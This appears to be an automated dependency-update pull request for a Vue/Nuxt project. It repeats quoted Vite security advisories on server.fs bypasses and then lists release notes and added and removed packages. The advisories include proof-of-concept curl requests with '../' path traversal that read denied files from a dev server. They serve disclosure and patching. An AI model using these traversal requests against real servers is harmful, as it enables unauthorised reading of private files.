mkdir secret_files
echo "secret txt" > secret_files/secret.txt
echo "secret html" > secret_files/secret.html
npm run dev

Then, in a different shell, run the following command:

curl -v --path-as-is 'http://localhost:5173/secret_files/secret.txt'

You will receive a 403 HTTP Response,  because everything in the secret_files directory is denied.

Now in the same shell run the following command:

curl -v --path-as-is 'http://localhost:5173/secret_files/secret.html'

You will receive the contents of secret_files/secret.html.

🚨 Vite middleware may serve files starting with the same name with the public directory

Summary

Files starting with the same name with the public directory were served bypassing the server.fs settings.

Impact

Only apps that match the following conditions are affected:

Details

The servePublicMiddleware function is in charge of serving public files from the server. It returns the viteServePublicMiddleware function which runs the needed tests and serves the page. The viteServePublicMiddleware function checks if the publicFiles variable is defined, and then uses it to determine if the requested page is public. In the case that the publicFiles is undefined, the code will treat the requested page as a public page, and go on with the serving function. publicFiles may be undefined if there is a symbolic link anywhere inside the public directory. In that case, every requested page will be passed to the public serving function. The serving function is based on the sirv library. Vite patches the library to add the possibility to test loading access to pages, but when the public page middleware disables this functionality since public pages are meant to be available always, regardless of whether they are in the allow or deny list.

In the case of public pages, the serving function is provided with the path to the public directory as a root directory. The code of the sirv library uses the join function to get the full path to the requested file. For example, if the public directory is "/www/public", and the requested file is "myfile", the code will join them to the string "/www/public/myfile". The code will then pass this string to the normalize function. Afterwards, the code will use the string's startsWith function to determine whether the created path is within the given directory or not. Only if it is, it will be served.

Since sirv trims the trailing slash of the public directory, the string's startsWith function may return true even if the created path is not within the public directory. For example, if the server's root is at "/www", and the public directory is at "/www/p", if the created path will be "/www/private.txt", the startsWith function will still return true, because the string "/www/private.txt" starts with  "/www/p". To achieve this, the attacker will use ".." to ask for the file "../private.txt". The code will then join it to the "/www/p" string, and will receive "/www/p/../private.txt". Then, the normalize function will return "/www/private.txt", which will then be passed to the startsWith function, which will return true, and the processing of the page will continue without checking the deny list (since this is the public directory middleware which doesn't check that).

PoC

Execute the following shell commands:

npm  create  vite@latest
cd vite-project/
mkdir p
cd p
ln -s a b
cd ..
echo  'import path from "node:path"; import { defineConfig } from "vite"; export default defineConfig({publicDir: path.resolve(__dirname, "p/"), server: {fs: {deny: [path.resolve(__dirname, "private.txt")]}}})' > vite.config.js
echo  "secret" > private.txt
npm install
npm run dev

Then, in a different shell, run the following command:

curl -v --path-as-is 'http://localhost:5173/private.txt'

You will receive a 403 HTTP Response,  because private.txt is denied.

Now in the same shell run the following command:

curl -v --path-as-is 'http://localhost:5173/../private.txt'

You will receive the contents of private.txt.

Related links

🚨 Vite's `server.fs` settings were not applied to HTML files

Summary

Any HTML files on the machine were served regardless of the server.fs settings.

Impact

Only apps that match the following conditions are affected:

  • explicitly exposes the Vite dev server to the network (using --host or server.host config option)
  • appType: 'spa' (default) or appType: 'mpa' is used

This vulnerability also affects the preview server. The preview server allowed HTML files not under the output directory to be served.

Details

The serveStaticMiddleware function is in charge of serving static files from the server. It returns the viteServeStaticMiddleware function which runs the needed tests and serves the page. The viteServeStaticMiddleware function checks if the extension of the requested file is ".html". If so, it doesn't serve the page. Instead, the server will go on to the next middlewares, in this case htmlFallbackMiddleware, and then to indexHtmlMiddleware. These middlewares don't perform any test against allow or deny rules, and they don't make sure that the accessed file is in the root directory of the server. They just find the file and send back its contents to the client.

PoC

Execute the following shell commands:

npm  create  vite@latest
cd vite-project/
echo  "secret" > /tmp/secret.html
npm install
npm run dev

Then, in a different shell, run the following command:

curl -v --path-as-is 'http://localhost:5173/../../../../../../../../../../../tmp/secret.html'

The contents of /tmp/secret.html will be returned.

This will also work for HTML files that are in the root directory of the project, but are in the deny list (or not in the allow list). Test that by stopping the running server (CTRL+C), and running the following commands in the server's shell:

echo  'import path from "node:path"; import { defineConfig } from "vite"; export default defineConfig({server: {fs: {deny: [path.resolve(__dirname, "secret_files/*")]}}})'  >  [vite.config.js](http://vite.config.js)
mkdir secret_files
echo "secret txt" > secret_files/secret.txt
echo "secret html" > secret_files/secret.html
npm run dev

Then, in a different shell, run the following command:

curl -v --path-as-is 'http://localhost:5173/secret_files/secret.txt'

You will receive a 403 HTTP Response,  because everything in the secret_files directory is denied.

Now in the same shell run the following command:

curl -v --path-as-is 'http://localhost:5173/secret_files/secret.html'

You will receive the contents of secret_files/secret.html.

🚨 Vite middleware may serve files starting with the same name with the public directory

Summary

Files starting with the same name with the public directory were served bypassing the server.fs settings.

Impact

Only apps that match the following conditions are affected:

Details

The servePublicMiddleware function is in charge of serving public files from the server. It returns the viteServePublicMiddleware function which runs the needed tests and serves the page. The viteServePublicMiddleware function checks if the publicFiles variable is defined, and then uses it to determine if the requested page is public. In the case that the publicFiles is undefined, the code will treat the requested page as a public page, and go on with the serving function. publicFiles may be undefined if there is a symbolic link anywhere inside the public directory. In that case, every requested page will be passed to the public serving function. The serving function is based on the sirv library. Vite patches the library to add the possibility to test loading access to pages, but when the public page middleware disables this functionality since public pages are meant to be available always, regardless of whether they are in the allow or deny list.

In the case of public pages, the serving function is provided with the path to the public directory as a root directory. The code of the sirv library uses the join function to get the full path to the requested file. For example, if the public directory is "/www/public", and the requested file is "myfile", the code will join them to the string "/www/public/myfile". The code will then pass this string to the normalize function. Afterwards, the code will use the string's startsWith function to determine whether the created path is within the given directory or not. Only if it is, it will be served.

Since sirv trims the trailing slash of the public directory, the string's startsWith function may return true even if the created path is not within the public directory. For example, if the server's root is at "/www", and the public directory is at "/www/p", if the created path will be "/www/private.txt", the startsWith function will still return true, because the string "/www/private.txt" starts with  "/www/p". To achieve this, the attacker will use ".." to ask for the file "../private.txt". The code will then join it to the "/www/p" string, and will receive "/www/p/../private.txt". Then, the normalize function will return "/www/private.txt", which will then be passed to the startsWith function, which will return true, and the processing of the page will continue without checking the deny list (since this is the public directory middleware which doesn't check that).

PoC

Execute the following shell commands:

npm  create  vite@latest
cd vite-project/
mkdir p
cd p
ln -s a b
cd ..
echo  'import path from "node:path"; import { defineConfig } from "vite"; export default defineConfig({publicDir: path.resolve(__dirname, "p/"), server: {fs: {deny: [path.resolve(__dirname, "private.txt")]}}})' > vite.config.js
echo  "secret" > private.txt
npm install
npm run dev

Then, in a different shell, run the following command:

curl -v --path-as-is 'http://localhost:5173/private.txt'

You will receive a 403 HTTP Response,  because private.txt is denied.

Now in the same shell run the following command:

curl -v --path-as-is 'http://localhost:5173/../private.txt'

You will receive the contents of private.txt.

Related links

🚨 Vite's `server.fs` settings were not applied to HTML files

Summary

Any HTML files on the machine were served regardless of the server.fs settings.

Impact

Only apps that match the following conditions are affected:

  • explicitly exposes the Vite dev server to the network (using --host or server.host config option)
  • appType: 'spa' (default) or appType: 'mpa' is used

This vulnerability also affects the preview server. The preview server allowed HTML files not under the output directory to be served.

Details

The serveStaticMiddleware function is in charge of serving static files from the server. It returns the viteServeStaticMiddleware function which runs the needed tests and serves the page. The viteServeStaticMiddleware function checks if the extension of the requested file is ".html". If so, it doesn't serve the page. Instead, the server will go on to the next middlewares, in this case htmlFallbackMiddleware, and then to indexHtmlMiddleware. These middlewares don't perform any test against allow or deny rules, and they don't make sure that the accessed file is in the root directory of the server. They just find the file and send back its contents to the client.

PoC

Execute the following shell commands:

npm  create  vite@latest
cd vite-project/
echo  "secret" > /tmp/secret.html
npm install
npm run dev

Then, in a different shell, run the following command:

curl -v --path-as-is 'http://localhost:5173/../../../../../../../../../../../tmp/secret.html'

The contents of /tmp/secret.html will be returned.

This will also work for HTML files that are in the root directory of the project, but are in the deny list (or not in the allow list). Test that by stopping the running server (CTRL+C), and running the following commands in the server's shell:

echo  'import path from "node:path"; import { defineConfig } from "vite"; export default defineConfig({server: {fs: {deny: [path.resolve(__dirname, "secret_files/*")]}}})'  >  [vite.config.js](http://vite.config.js)
mkdir secret_files
echo "secret txt" > secret_files/secret.txt
echo "secret html" > secret_files/secret.html
npm run dev

Then, in a different shell, run the following command:

curl -v --path-as-is 'http://localhost:5173/secret_files/secret.txt'

You will receive a 403 HTTP Response,  because everything in the secret_files directory is denied.

Now in the same shell run the following command:

curl -v --path-as-is 'http://localhost:5173/secret_files/secret.html'

You will receive the contents of secret_files/secret.html.

Release Notes

Too many releases to show here. View the full release notes.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ vite-node (indirect, 3.2.4 → 5.2.0) · Repo

Sorry, we couldn’t find anything useful about this release.

↗️ vite-plugin-checker (indirect, 0.10.2 → 0.12.0) · Repo · Changelog

↗️ vite-plugin-inspect (indirect, 11.3.0 → 11.3.3) · Repo

Release Notes

11.3.3

   🐞 Bug Fixes

    View changes on GitHub

11.3.2

   🐞 Bug Fixes

    View changes on GitHub

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 9 commits:

↗️ vue (indirect, 3.5.17 → 3.5.25) · Repo · Changelog

Release Notes

3.5.25

For stable releases, please refer to CHANGELOG.md for details.
For pre-releases, please refer to CHANGELOG.md of the minor branch.

3.5.24

For stable releases, please refer to CHANGELOG.md for details.
For pre-releases, please refer to CHANGELOG.md of the minor branch.

3.5.23

For stable releases, please refer to CHANGELOG.md for details.
For pre-releases, please refer to CHANGELOG.md of the minor branch.

3.5.22

For stable releases, please refer to CHANGELOG.md for details.
For pre-releases, please refer to CHANGELOG.md of the minor branch.

3.5.21

For stable releases, please refer to CHANGELOG.md for details.
For pre-releases, please refer to CHANGELOG.md of the minor branch.

3.5.20

For stable releases, please refer to CHANGELOG.md for details.
For pre-releases, please refer to CHANGELOG.md of the minor branch.

3.5.19

For stable releases, please refer to CHANGELOG.md for details.
For pre-releases, please refer to CHANGELOG.md of the minor branch.

3.5.18

For stable releases, please refer to CHANGELOG.md for details.
For pre-releases, please refer to CHANGELOG.md of the minor branch.

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ vue-router (indirect, 4.5.1 → 4.6.4) · Repo

Release Notes

4.6.4

   🚀 Features

   🐞 Bug Fixes

    View changes on GitHub

4.6.3

Please refer to CHANGELOG.md for details.

4.6.2

Please refer to CHANGELOG.md for details.

4.6.1

Please refer to CHANGELOG.md for details.

4.6.0

Please refer to CHANGELOG.md for details.

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ yaml (indirect, 2.8.0 → 2.8.2) · Repo

Release Notes

2.8.2

  • Serialize -0 as -0 (#638)
  • Do not double newlines for empty map values (#642)

2.8.1

  • Preserve empty block literals (#634)

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 19 commits:

↗️ youch (indirect, 4.1.0-beta.8 → 4.1.0-beta.13) · Repo · Changelog

🆕 @​bomb.sh/tab (added, 0.0.9)

🆕 @​dxup/nuxt (added, 0.2.2)

🆕 @​dxup/unimport (added, 0.1.2)

🆕 @​jridgewell/remapping (added, 2.3.5)

🆕 @​nuxt/nitro-server (added, 4.2.2)

🆕 @​oxc-minify/binding-android-arm64 (added, 0.102.0)

🆕 @​oxc-minify/binding-darwin-arm64 (added, 0.102.0)

🆕 @​oxc-minify/binding-darwin-x64 (added, 0.102.0)

🆕 @​oxc-minify/binding-freebsd-x64 (added, 0.102.0)

🆕 @​oxc-minify/binding-linux-arm-gnueabihf (added, 0.102.0)

🆕 @​oxc-minify/binding-linux-arm64-gnu (added, 0.102.0)

🆕 @​oxc-minify/binding-linux-arm64-musl (added, 0.102.0)

🆕 @​oxc-minify/binding-linux-riscv64-gnu (added, 0.102.0)

🆕 @​oxc-minify/binding-linux-s390x-gnu (added, 0.102.0)

🆕 @​oxc-minify/binding-linux-x64-gnu (added, 0.102.0)

🆕 @​oxc-minify/binding-linux-x64-musl (added, 0.102.0)

🆕 @​oxc-minify/binding-openharmony-arm64 (added, 0.102.0)

🆕 @​oxc-minify/binding-wasm32-wasi (added, 0.102.0)

🆕 @​oxc-minify/binding-win32-arm64-msvc (added, 0.102.0)

🆕 @​oxc-minify/binding-win32-x64-msvc (added, 0.102.0)

🆕 @​oxc-parser/binding-openharmony-arm64 (added, 0.102.0)

🆕 @​oxc-transform/binding-android-arm64 (added, 0.102.0)

🆕 @​oxc-transform/binding-darwin-arm64 (added, 0.102.0)

🆕 @​oxc-transform/binding-darwin-x64 (added, 0.102.0)

🆕 @​oxc-transform/binding-freebsd-x64 (added, 0.102.0)

🆕 @​oxc-transform/binding-linux-arm-gnueabihf (added, 0.102.0)

🆕 @​oxc-transform/binding-linux-arm64-gnu (added, 0.102.0)

🆕 @​oxc-transform/binding-linux-arm64-musl (added, 0.102.0)

🆕 @​oxc-transform/binding-linux-riscv64-gnu (added, 0.102.0)

🆕 @​oxc-transform/binding-linux-s390x-gnu (added, 0.102.0)

🆕 @​oxc-transform/binding-linux-x64-gnu (added, 0.102.0)

🆕 @​oxc-transform/binding-linux-x64-musl (added, 0.102.0)

🆕 @​oxc-transform/binding-openharmony-arm64 (added, 0.102.0)

🆕 @​oxc-transform/binding-wasm32-wasi (added, 0.102.0)

🆕 @​oxc-transform/binding-win32-arm64-msvc (added, 0.102.0)

🆕 @​oxc-transform/binding-win32-x64-msvc (added, 0.102.0)

🆕 @​rollup/rollup-linux-loong64-gnu (added, 4.53.5)

🆕 @​rollup/rollup-linux-ppc64-gnu (added, 4.53.5)

🆕 @​rollup/rollup-openharmony-arm64 (added, 4.53.5)

🆕 @​rollup/rollup-win32-x64-gnu (added, 4.53.5)

🆕 @​volar/language-core (added, 2.4.26)

🆕 @​volar/source-map (added, 2.4.26)

🆕 @​vue/language-core (added, 3.1.8)

🆕 alien-signals (added, 3.1.1)

🆕 baseline-browser-mapping (added, 2.9.8)

🆕 copy-paste (added, 2.2.0)

🆕 events-universal (added, 1.0.1)

🆕 iconv-lite (added, 0.4.24)

🆕 magic-regexp (added, 0.10.0)

🆕 muggle-string (added, 0.4.1)

🆕 obug (added, 2.1.1)

🆕 oxc-minify (added, 0.102.0)

🆕 oxc-transform (added, 0.102.0)

🆕 oxc-walker (added, 0.6.0)

🆕 path-browserify (added, 1.0.1)

🆕 safer-buffer (added, 2.1.2)

🆕 seroval (added, 1.4.0)

🆕 srvx (added, 0.9.8)

🆕 tagged-tag (added, 1.0.0)

🆕 type-level-regexp (added, 0.1.17)

🆕 wsl-utils (added, 0.1.0)

🆕 @​babel/types (added, 7.28.5)

🆕 @​clack/core (added, 1.0.0-alpha.7)

🆕 @​clack/prompts (added, 1.0.0-alpha.7)

🆕 @​esbuild/aix-ppc64 (added, 0.27.1)

🆕 @​esbuild/aix-ppc64 (added, 0.25.12)

🆕 @​esbuild/android-arm (added, 0.27.1)

🆕 @​esbuild/android-arm (added, 0.25.12)

🆕 @​esbuild/android-arm64 (added, 0.27.1)

🆕 @​esbuild/android-arm64 (added, 0.25.12)

🆕 @​esbuild/android-x64 (added, 0.27.1)

🆕 @​esbuild/android-x64 (added, 0.25.12)

🆕 @​esbuild/darwin-arm64 (added, 0.27.1)

🆕 @​esbuild/darwin-arm64 (added, 0.25.12)

🆕 @​esbuild/darwin-x64 (added, 0.27.1)

🆕 @​esbuild/darwin-x64 (added, 0.25.12)

🆕 @​esbuild/freebsd-arm64 (added, 0.27.1)

🆕 @​esbuild/freebsd-arm64 (added, 0.25.12)

🆕 @​esbuild/freebsd-x64 (added, 0.27.1)

🆕 @​esbuild/freebsd-x64 (added, 0.25.12)

🆕 @​esbuild/linux-arm (added, 0.27.1)

🆕 @​esbuild/linux-arm (added, 0.25.12)

🆕 @​esbuild/linux-arm64 (added, 0.27.1)

🆕 @​esbuild/linux-arm64 (added, 0.25.12)

🆕 @​esbuild/linux-ia32 (added, 0.27.1)

🆕 @​esbuild/linux-ia32 (added, 0.25.12)

🆕 @​esbuild/linux-loong64 (added, 0.27.1)

🆕 @​esbuild/linux-loong64 (added, 0.25.12)

🆕 @​esbuild/linux-mips64el (added, 0.27.1)

🆕 @​esbuild/linux-mips64el (added, 0.25.12)

🆕 @​esbuild/linux-ppc64 (added, 0.27.1)

🆕 @​esbuild/linux-ppc64 (added, 0.25.12)

🆕 @​esbuild/linux-riscv64 (added, 0.27.1)

🆕 @​esbuild/linux-riscv64 (added, 0.25.12)

🆕 @​esbuild/linux-s390x (added, 0.27.1)

🆕 @​esbuild/linux-s390x (added, 0.25.12)

🆕 @​esbuild/linux-x64 (added, 0.27.1)

🆕 @​esbuild/linux-x64 (added, 0.25.12)

🆕 @​esbuild/netbsd-arm64 (added, 0.27.1)

🆕 @​esbuild/netbsd-arm64 (added, 0.25.12)

🆕 @​esbuild/netbsd-x64 (added, 0.27.1)

🆕 @​esbuild/netbsd-x64 (added, 0.25.12)

🆕 @​esbuild/openbsd-arm64 (added, 0.27.1)

🆕 @​esbuild/openbsd-arm64 (added, 0.25.12)

🆕 @​esbuild/openbsd-x64 (added, 0.27.1)

🆕 @​esbuild/openbsd-x64 (added, 0.25.12)

🆕 @​esbuild/openharmony-arm64 (added, 0.27.1)

🆕 @​esbuild/openharmony-arm64 (added, 0.25.12)

🆕 @​esbuild/sunos-x64 (added, 0.27.1)

🆕 @​esbuild/sunos-x64 (added, 0.25.12)

🆕 @​esbuild/win32-arm64 (added, 0.27.1)

🆕 @​esbuild/win32-arm64 (added, 0.25.12)

🆕 @​esbuild/win32-ia32 (added, 0.27.1)

🆕 @​esbuild/win32-ia32 (added, 0.25.12)

🆕 @​esbuild/win32-x64 (added, 0.27.1)

🆕 @​esbuild/win32-x64 (added, 0.25.12)

🆕 @​eslint/core (added, 0.17.0)

🆕 @​eslint/plugin-kit (added, 0.4.1)

🆕 @​napi-rs/wasm-runtime (added, 1.1.0)

🆕 resolve (added, 1.22.11)

🆕 @​nuxt/kit (added, 4.2.2)

🆕 esbuild (added, 0.27.1)

🆕 esbuild (added, 0.25.12)

🆕 @​tybys/wasm-util (added, 0.10.1)

🆕 chokidar (added, 5.0.0)

🆕 dotenv (added, 17.2.3)

🆕 tinyexec (added, 1.0.2)

🆕 readdirp (added, 5.0.0)

🆕 unplugin (added, 2.3.11)

🆕 unplugin-utils (added, 0.3.1)

🗑️ @​ampproject/remapping (removed)

🗑️ @​colors/colors (removed)

🗑️ @​dabh/diagnostics (removed)

🗑️ @​dependents/detective-less (removed)

🗑️ @​netlify/binary-info (removed)

🗑️ @​netlify/blobs (removed)

🗑️ @​netlify/blobs (removed)

🗑️ @​netlify/dev-utils (removed)

🗑️ @​netlify/functions (removed)

🗑️ @​netlify/open-api (removed)

🗑️ @​netlify/runtime-utils (removed)

🗑️ @​netlify/serverless-functions-api (removed)

🗑️ @​netlify/serverless-functions-api (removed)

🗑️ @​netlify/zip-it-and-ship-it (removed)

🗑️ @​oxc-parser/binding-linux-arm-musleabihf (removed)

🗑️ @​rollup/rollup-linux-loongarch64-gnu (removed)

🗑️ @​rollup/rollup-linux-powerpc64le-gnu (removed)

🗑️ @​types/normalize-package-data (removed)

🗑️ @​types/triple-beam (removed)

🗑️ @​types/yauzl (removed)

🗑️ @​whatwg-node/disposablestack (removed)

🗑️ @​whatwg-node/promise-helpers (removed)

🗑️ @​whatwg-node/server (removed)

🗑️ ast-module-types (removed)

🗑️ call-bind-apply-helpers (removed)

🗑️ call-bound (removed)

🗑️ callsite (removed)

🗑️ color (removed)

🗑️ color-string (removed)

🗑️ colorspace (removed)

🗑️ common-path-prefix (removed)

🗑️ copy-file (removed)

🗑️ cron-parser (removed)

🗑️ data-uri-to-buffer (removed)

🗑️ decache (removed)

🗑️ detective-amd (removed)

🗑️ detective-cjs (removed)

🗑️ detective-es6 (removed)

🗑️ detective-postcss (removed)

🗑️ detective-sass (removed)

🗑️ detective-scss (removed)

🗑️ detective-stylus (removed)

🗑️ detective-typescript (removed)

🗑️ detective-vue2 (removed)

🗑️ dunder-proto (removed)

🗑️ enabled (removed)

🗑️ end-of-stream (removed)

🗑️ enhanced-resolve (removed)

🗑️ env-paths (removed)

🗑️ es-define-property (removed)

🗑️ es-errors (removed)

🗑️ es-object-atoms (removed)

🗑️ escodegen (removed)

🗑️ externality (removed)

🗑️ extract-zip (removed)

🗑️ fd-slicer (removed)

🗑️ fecha (removed)

🗑️ fetch-blob (removed)

🗑️ filter-obj (removed)

🗑️ fn.name (removed)

🗑️ formdata-polyfill (removed)

🗑️ get-amd-module-type (removed)

🗑️ get-intrinsic (removed)

🗑️ get-proto (removed)

🗑️ gonzales-pe (removed)

🗑️ gopd (removed)

🗑️ has-symbols (removed)

🗑️ hosted-git-info (removed)

🗑️ index-to-position (removed)

🗑️ is-plain-obj (removed)

🗑️ is-url (removed)

🗑️ is-url-superb (removed)

🗑️ junk (removed)

🗑️ jwt-decode (removed)

🗑️ kuler (removed)

🗑️ lambda-local (removed)

🗑️ lodash-es (removed)

🗑️ lodash.debounce (removed)

🗑️ logform (removed)

🗑️ luxon (removed)

🗑️ math-intrinsics (removed)

🗑️ merge-options (removed)

🗑️ micro-api-client (removed)

🗑️ minimist (removed)

🗑️ module-definition (removed)

🗑️ netlify (removed)

🗑️ node-source-walk (removed)

🗑️ normalize-package-data (removed)

🗑️ normalize-range (removed)

🗑️ object-inspect (removed)

🗑️ once (removed)

🗑️ one-time (removed)

🗑️ p-event (removed)

🗑️ p-map (removed)

🗑️ p-timeout (removed)

🗑️ p-wait-for (removed)

🗑️ parse-gitignore (removed)

🗑️ pend (removed)

🗑️ postcss-values-parser (removed)

🗑️ precinct (removed)

🗑️ pump (removed)

🗑️ qs (removed)

🗑️ quote-unquote (removed)

🗑️ read-package-up (removed)

🗑️ read-pkg (removed)

🗑️ remove-trailing-separator (removed)

🗑️ require-package-name (removed)

🗑️ safe-stable-stringify (removed)

🗑️ side-channel (removed)

🗑️ side-channel-list (removed)

🗑️ side-channel-map (removed)

🗑️ side-channel-weakmap (removed)

🗑️ simple-swizzle (removed)

🗑️ spdx-correct (removed)

🗑️ stack-trace (removed)

🗑️ tapable (removed)

🗑️ text-hex (removed)

🗑️ toml (removed)

🗑️ triple-beam (removed)

🗑️ unixify (removed)

🗑️ validate-npm-package-license (removed)

🗑️ winston (removed)

🗑️ winston-transport (removed)

🗑️ wrappy (removed)

🗑️ write-file-atomic (removed)

🗑️ yauzl (removed)

🗑️ zod (removed)

🗑️ @​babel/types (removed)

🗑️ @​babel/types (removed)

🗑️ @​whatwg-node/fetch (removed)

🗑️ @​esbuild/aix-ppc64 (removed)

🗑️ @​esbuild/android-arm (removed)

🗑️ @​esbuild/android-arm64 (removed)

🗑️ @​esbuild/android-x64 (removed)

🗑️ @​esbuild/darwin-arm64 (removed)

🗑️ @​esbuild/darwin-x64 (removed)

🗑️ @​esbuild/freebsd-arm64 (removed)

🗑️ @​esbuild/freebsd-x64 (removed)

🗑️ @​esbuild/linux-arm (removed)

🗑️ @​esbuild/linux-arm64 (removed)

🗑️ @​esbuild/linux-ia32 (removed)

🗑️ @​esbuild/linux-loong64 (removed)

🗑️ @​esbuild/linux-mips64el (removed)

🗑️ @​esbuild/linux-ppc64 (removed)

🗑️ @​esbuild/linux-riscv64 (removed)

🗑️ @​esbuild/linux-s390x (removed)

🗑️ @​esbuild/linux-x64 (removed)

🗑️ @​esbuild/netbsd-arm64 (removed)

🗑️ @​esbuild/netbsd-x64 (removed)

🗑️ @​esbuild/openbsd-arm64 (removed)

🗑️ @​esbuild/openbsd-x64 (removed)

🗑️ @​esbuild/openharmony-arm64 (removed)

🗑️ @​esbuild/sunos-x64 (removed)

🗑️ @​esbuild/win32-arm64 (removed)

🗑️ @​esbuild/win32-ia32 (removed)

🗑️ @​esbuild/win32-x64 (removed)

🗑️ @​fastify/busboy (removed)

🗑️ find-up (removed)

🗑️ locate-path (removed)

🗑️ p-limit (removed)

🗑️ p-locate (removed)

🗑️ path-exists (removed)

🗑️ uuid (removed)

🗑️ yocto-queue (removed)

🗑️ is-stream (removed)

🗑️ builtin-modules (removed)

🗑️ is-builtin-module (removed)

🗑️ resolve (removed)

🗑️ resolve (removed)

🗑️ urlpattern-polyfill (removed)

🗑️ esbuild (removed)

🗑️ @​whatwg-node/node-fetch (removed)

🗑️ buffer-crc32 (removed)

🗑️ color-convert (removed)

🗑️ color-name (removed)

🗑️ commander (removed)

🗑️ commander (removed)

🗑️ get-stream (removed)

🗑️ is-arrayish (removed)

🗑️ readable-stream (removed)

🗑️ mkdirp (removed)

🗑️ node-fetch (removed)

🗑️ unicorn-magic (removed)

🗑️ normalize-path (removed)

🗑️ tinyexec (removed)

🗑️ tinyexec (removed)

🗑️ parse-json (removed)

🗑️ typescript (removed)

🗑️ spdx-expression-parse (removed)

🗑️ unplugin (removed)

🗑️ unplugin (removed)